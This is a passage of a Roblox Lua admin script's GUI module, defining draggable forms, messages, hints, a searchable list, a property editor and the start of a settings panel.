  3896. return BrickColor.new(ChatColors[Index])
  3897. end
  3898.  
  3899. function GUI:Color3ToHex(Color)
  3900. local function ConvertNumber(Number)
  3901. local HexString = "0123456789abcdef"
  3902. local Byte = ""
  3903. while Number > 0 do
  3904. local Calc = math.fmod(Number, 16)
  3905. Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
  3906. Number = math.floor(Number / 16)
  3907. end
  3908. if Calc == "" then
  3909. Byte = "00"
  3910. elseif #Byte == 1 then
  3911. Byte = "0"..Byte
  3912. elseif Byte == "" then
  3913. Byte = "00"
  3914. end
  3915. return Byte
  3916. end
  3917. return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
  3918. end
  3919.  
  3920. function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
  3921. if not Player then return nil end
  3922. if not Player:FindFirstChild("PlayerGui") then return nil end
  3923. local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
  3924. if not TitleText then TitleText = "Unknown" end
  3925. if not Size then Size = UDim2.new(0.5,0,0.5,0) end
  3926. if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
  3927. if not IconID then IconID = 19919809 end
  3928. if ShowFormButtons == nil then ShowFormButtons = true end
  3929. if not ColorScheme then ColorScheme = Settings.ColorScheme end
  3930. if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
  3931. if AutoOffset == nil then AutoOffset = true end
  3932. if Icons[IconID] then IconID = Icons[IconID] end
  3933. if TweenPosition == nil then TweenPosition = true end
  3934. if NoModal == nil then NoModal = false end
  3935. if NoScrollFrame == nil then NoScrollFrame = false end
  3936.  
  3937. local IsClosed = false
  3938. local Minus = nil
  3939. local Offset = 0
  3940. local ContentType = "ScrollingFrame"
  3941. local TweenSpeed = 0.3
  3942.  
  3943. if AutoOffset then
  3944. for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  3945. if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
  3946. if Item.IsActive.Value == true then
  3947. if Item.IsTrueForm.Value == true then
  3948. Offset = Offset + 50
  3949. end
  3950. end
  3951. end
  3952. end
  3953. end
  3954.  
  3955. if NoScrollFrame == true then
  3956. ContentType = "Frame"
  3957. end
  3958.  
  3959. SOUND:PlayNotification(Player, 155331654)
  3960.  
  3961. local Position = Position + UDim2.new(0,Offset,0,Offset)
  3962. local MinimizePos = Position
  3963.  
  3964. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
  3965. local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
  3966. local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
  3967.  
  3968. local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
  3969. local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
  3970. local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
  3971. local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
  3972. local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
  3973. local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
  3974. local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
  3975. local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
  3976. local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
  3977.  
  3978. local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
  3979. local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
  3980. if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
  3981. --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
  3982. --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
  3983.  
  3984. CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
  3985.  
  3986. local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
  3987.  
  3988. local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
  3989. local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
  3990. local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
  3991. local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
  3992. local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
  3993. local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
  3994.  
  3995. if Settings.EnableTaskBar then
  3996. Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
  3997. else
  3998. TitleEnd.Position = UDim2.new(1, -50, 0, 5)
  3999. Title.Size = UDim2.new(1, -95, 0, 25)
  4000. end
  4001.  
  4002. if not ShowFormButtons then
  4003. X:Destroy()
  4004. TitleEnd:Destroy()
  4005. Title.Size = UDim2.new(1, -55, 0, 25)
  4006. end
  4007.  
  4008. local function CloseForm()
  4009. if IsClosed == false then
  4010. IsActive.Value = false
  4011. IsClosed = true
  4012. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
  4013. Closed:Fire()
  4014. SOUND:PlayNotification(Player, 206375138)
  4015. end
  4016. end
  4017.  
  4018. local function MinimizeForm()
  4019. if IsActive.Value == true then
  4020. IsActive.Value = false
  4021. Minimized:Fire()
  4022. MinimizePos = Dragger.Position
  4023. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
  4024. end
  4025. end
  4026.  
  4027. local function RestoreForm()
  4028. if IsActive.Value == false then
  4029. IsActive.Value = true
  4030. Restored:Fire()
  4031. ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
  4032. end
  4033. end
  4034.  
  4035. if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
  4036. if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
  4037.  
  4038. Close.OnInvoke = CloseForm
  4039. Minimize.OnInvoke = MinimizeForm
  4040. Restore.OnInvoke = RestoreForm
  4041.  
  4042. if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
  4043.  
  4044. if TaskBar then
  4045. TaskBar:WaitForChild("AddForm")
  4046. TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
  4047. end
  4048.  
  4049. return Content, Close, Closed, Minimize, Minimized, Restore, Restored
  4050. end
  4051.  
  4052. function GUI:CoreGui(Player, Type, Enable)
  4053. local Parent = Player:FindFirstChild("Backpack")
  4054. if not Parent then Parent = Player.Backpack end
  4055. CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
  4056. end
  4057.  
  4058. function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
  4059. if not Player or not Player:IsA("Player") then return nil end
  4060. if BodyText == "" then return nil end
  4061. if not Player:FindFirstChild("PlayerGui") then return nil end
  4062.  
  4063. local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
  4064. local TextColor = GUI:GetColor(MessageSplit[1])
  4065. if TextColor then BodyText = MessageSplit[2] end
  4066. BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
  4067.  
  4068. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
  4069. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
  4070.  
  4071. if Frame then
  4072. local FormBar = Frame.Parent.Parent.FormBar
  4073. local Said = false
  4074. local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
  4075. if Settings.EnableTaskBar then
  4076. FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
  4077. FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
  4078. else
  4079. Speak.Position = UDim2.new(1, -58, 0, 5)
  4080. FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
  4081. FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
  4082. end
  4083. CORE:HandleEvent(Speak, "MouseButton1Down", function()
  4084. if not Said then
  4085. Said = true
  4086. SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
  4087. end
  4088. end)
  4089.  
  4090. if TextColor then
  4091. Body.TextColor3 = TextColor
  4092. else
  4093. Body.TextColor3 = Color3.new(1,1,1)
  4094. end
  4095.  
  4096. if tonumber(Time) then coroutine.wrap(function()
  4097. if AutoTime then
  4098. Time = Time + math.floor(#BodyText/7)
  4099. end
  4100. local Alive = true
  4101.  
  4102. local function StopTimer() Alive = false end
  4103. Closed.Event:connect(StopTimer)
  4104. Minimized.Event:connect(StopTimer)
  4105.  
  4106. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4107. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4108. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4109. local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
  4110. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  4111. for i = Time,0,-1 do
  4112. for ii = 1,10 do
  4113. if Alive == true then
  4114. Ticker.Text = i
  4115. wait(0.1)
  4116. else
  4117. break
  4118. end
  4119. end
  4120. end
  4121. if Alive == true then
  4122. Close:Invoke()
  4123. else
  4124. Ticker:Destroy()
  4125. Stop:Destroy()
  4126. Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
  4127. Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
  4128. end
  4129. end)() end
  4130.  
  4131. CORE:ExecuteResource("CalculateScrollY", Body)
  4132. end
  4133. end
  4134.  
  4135. function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
  4136. if not Player then return nil end
  4137. if not Player:IsA("Player") then return nil end
  4138. if BodyText == "" then return nil end
  4139. if not Player:FindFirstChild("PlayerGui") then return nil end
  4140. BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  4141. local TextColor = GUI:ContrastColor()
  4142. if Error then TextColor = Color3.new(1,0,0) end
  4143.  
  4144. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
  4145. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
  4146.  
  4147. CORE:ExecuteResource("CalculateScrollY", Body)
  4148.  
  4149. return Frame, Close, Closed, Minimize, Minimized
  4150. end
  4151.  
  4152. function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
  4153. Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
  4154. local TweenTime = 0.5
  4155. if not Time then Time = 5 end
  4156. local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
  4157. local MaxPos = -1
  4158. for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
  4159. local IVal = SGObj:FindFirstChild("Index")
  4160. if IVal then
  4161. MaxPos = math.max(MaxPos, IVal.Value)
  4162. end
  4163. end
  4164. MaxPos = MaxPos + 1
  4165. local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
  4166. local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
  4167. local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
  4168. local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
  4169. local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
  4170. SG.Parent = Player.PlayerGui
  4171.  
  4172. CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
  4173. CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
  4174.  
  4175. LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4176. RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4177. Delay(TweenTime, function()
  4178. for i = 1,0,-0.1 do
  4179. Body.TextTransparency = i
  4180. wait()
  4181. end
  4182. Body.TextTransparency = 0
  4183. end)
  4184. Delay(TweenTime + Time, function()
  4185. for i = 0,1,0.1 do
  4186. Body.TextTransparency = i
  4187. wait()
  4188. end
  4189. Body.TextTransparency = 1
  4190. local Done = false
  4191. LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
  4192. RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
  4193. end)
  4194.  
  4195. end)() end
  4196.  
  4197. function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
  4198. if not Player then return nil end
  4199. if not Player:FindFirstChild("PlayerGui") then return nil end
  4200. if not PreSearch then PreSearch = "" end
  4201. if AutoNumber == nil then AutoNumber = true end
  4202.  
  4203. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
  4204. local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
  4205. SearchBar.Parent = Frame.Parent
  4206. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4207. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4208.  
  4209. local SearchVer = 0,nil
  4210. local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
  4211. local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
  4212. local InDialog = false
  4213.  
  4214. local function ShowResults(Key)
  4215. SearchVer = SearchVer + 1
  4216. local ThisSearchVer = SearchVer
  4217.  
  4218. if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
  4219. for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
  4220.  
  4221. local NumPos,Num = 0,1
  4222.  
  4223. for _,Data in pairs(List) do
  4224. if ThisSearchVer ~= SearchVer then
  4225. break
  4226. end
  4227. local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
  4228. if String then
  4229. local ImageIcon = nil
  4230. if type(Data) == "table" then
  4231. String = Data[1]
  4232. ImageIcon = Data[2]
  4233. end
  4234.  
  4235. local TextColor = GUI:ContrastColor()
  4236. local StringSplit = STRING:GetSplit(String, 1, " ")
  4237. local NewColor = GUI:GetColor(StringSplit[1])
  4238. if NewColor then TextColor = NewColor String = StringSplit[2] end
  4239.  
  4240. if string.find(string.lower(String), string.lower(Key)) then
  4241. Spacer = false
  4242. local Font = Settings.Font
  4243. local Split = STRING:GetSplit(String, 1, " ")
  4244. if string.sub(string.lower(String),1,6) == "bold: " then
  4245. Font = "ArialBold"
  4246. String = string.sub(String,7)
  4247. elseif Fonts[Split[1]] then
  4248. Font = Split[1]
  4249. String = Split[2]
  4250. end
  4251. if string.sub(String,1,2) == "--" then
  4252. Spacer = true
  4253. end
  4254. local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
  4255. if ImageIcon then
  4256. if tonumber(ImageIcon) then
  4257. ImageIcon = "rbxassetid://"..ImageIcon
  4258. elseif Icons[ImageIcon] then
  4259. ImageIcon = "rbxassetid://"..Icons[ImageIcon]
  4260. end
  4261.  
  4262. Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
  4263. local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
  4264. local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
  4265. Content.Text = ""
  4266. NumPos = NumPos + 90
  4267. else
  4268. NumPos = NumPos + 30
  4269. end
  4270.  
  4271. if not Clickable then
  4272. Content.AutoButtonColor = false
  4273. Content.Active = false
  4274. Content.BackgroundTransparency = 1
  4275. elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
  4276. SOUND:BindButton(Content)
  4277. CORE:HandleEvent(Content, "MouseButton1Down", function()
  4278. if not InDialog then
  4279. Clicked:Fire(String)
  4280. end
  4281. end, true)
  4282. end
  4283. if Spacer == false then Num = Num + 1 end
  4284. end
  4285. end
  4286. end
  4287. Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
  4288. ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
  4289. end
  4290.  
  4291. RequestDialog.OnInvoke = function(RequestDialogCall)
  4292. InDialog = RequestDialogCall
  4293. end
  4294.  
  4295. ShowResults(PreSearch)
  4296.  
  4297. local RPR = CORE:CreateRemotePropertyReader(SearchBar)
  4298. CORE:HandleEvent(SearchBar, "Changed", function(Prop)
  4299. if Prop == "Text" then
  4300. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4301. ShowResults(Text)
  4302. Frame.CanvasPosition = Vector2.new(0,0)
  4303. end
  4304. end)
  4305.  
  4306. return Clicked, RequestDialog, Close
  4307. end
  4308.  
  4309. function GUI:PropertyGui(Player, Title, Icon, Properties)
  4310. if not Player then return nil end
  4311. if not Player:FindFirstChild("PlayerGui") then return nil end
  4312. if type(Properties) ~= "table" then return nil end
  4313. local HasClosed = false
  4314. local NewProperties = {}
  4315.  
  4316. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
  4317. Frame.ClipsDescendants = true
  4318. local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
  4319.  
  4320. for PropertyName,Data in pairs(Properties) do
  4321. NewProperties[PropertyName] = Data[1]
  4322. end
  4323.  
  4324. local YCount = 0
  4325.  
  4326. for PropertyName,Data in pairs(Properties) do
  4327. if type(Data) == "table" then
  4328. local DefaultValue = Data[1]
  4329. local Writable = Data[2]
  4330. local ValueType = Data[3]
  4331.  
  4332. if Writable == nil then Writable = false end
  4333. if type(ValueType) == "string" then -- now this is confusing
  4334. ValueType = string.lower(ValueType)
  4335. elseif ValueType == nil then
  4336. ValueType = type(DefaultValue)
  4337. end
  4338.  
  4339. if ValueType == "nil" or ValueType == "userdata" then
  4340. ValueType = nil
  4341. elseif ValueType == "table" then
  4342. DefaultValue = STRING:UnpackArgs(DefaultValue)
  4343. ValueType = "string"
  4344. end
  4345.  
  4346. if ValueType then
  4347. local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
  4348. local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
  4349. local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
  4350.  
  4351. if ValueType == "string" or ValueType == "number" then
  4352. if Writable == true then
  4353. local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
  4354. CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
  4355. if ValueType == "number" then
  4356. NewProperties[PropertyName] = tonumber(Input.Text)
  4357. else
  4358. NewProperties[PropertyName] = tostring(Input.Text)
  4359. end
  4360. end end)
  4361. else
  4362. local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
  4363. end
  4364. end
  4365. if ValueType == "boolean" then
  4366. local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
  4367. if DefaultValue == true then
  4368. Check.Image = "rbxassetid://48138491"
  4369. end
  4370. if Writable == true then
  4371. CORE:HandleEvent(Check, "MouseButton1Down", function()
  4372. local NewVal = not NewProperties[PropertyName]
  4373. NewProperties[PropertyName] = NewVal
  4374. if NewVal == true then
  4375. Check.Image = "rbxassetid://48138491"
  4376. else
  4377. Check.Image = "rbxassetid://48138474"
  4378. end
  4379. end)
  4380. else
  4381. Check.ImageTransparency = 0.5
  4382. end
  4383. end
  4384. YCount = YCount + 50
  4385. end
  4386. end
  4387. end
  4388.  
  4389. Frame.CanvasSize = UDim2.new(0,0,0,YCount)
  4390.  
  4391. Closed.Event:connect(function() HasClosed = true end)
  4392.  
  4393. repeat wait(0.1) until HasClosed
  4394. return NewProperties
  4395. end
  4396.  
  4397. function GUI:SettingsGui(Player)
  4398. if not Player then return nil end
  4399. local CloneViewSettings,CanChange = {},false
  4400.  
  4401. local ViewSettings = {
  4402. ["Version"] = {CORE.Version.Value, false, nil};
  4403. ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
  4404. ["Font"] = {Settings.Font, 3, "Font"};
  4405. ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
  4406. ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
  4407. ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
  4408. ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
  4409. ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
  4410. ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
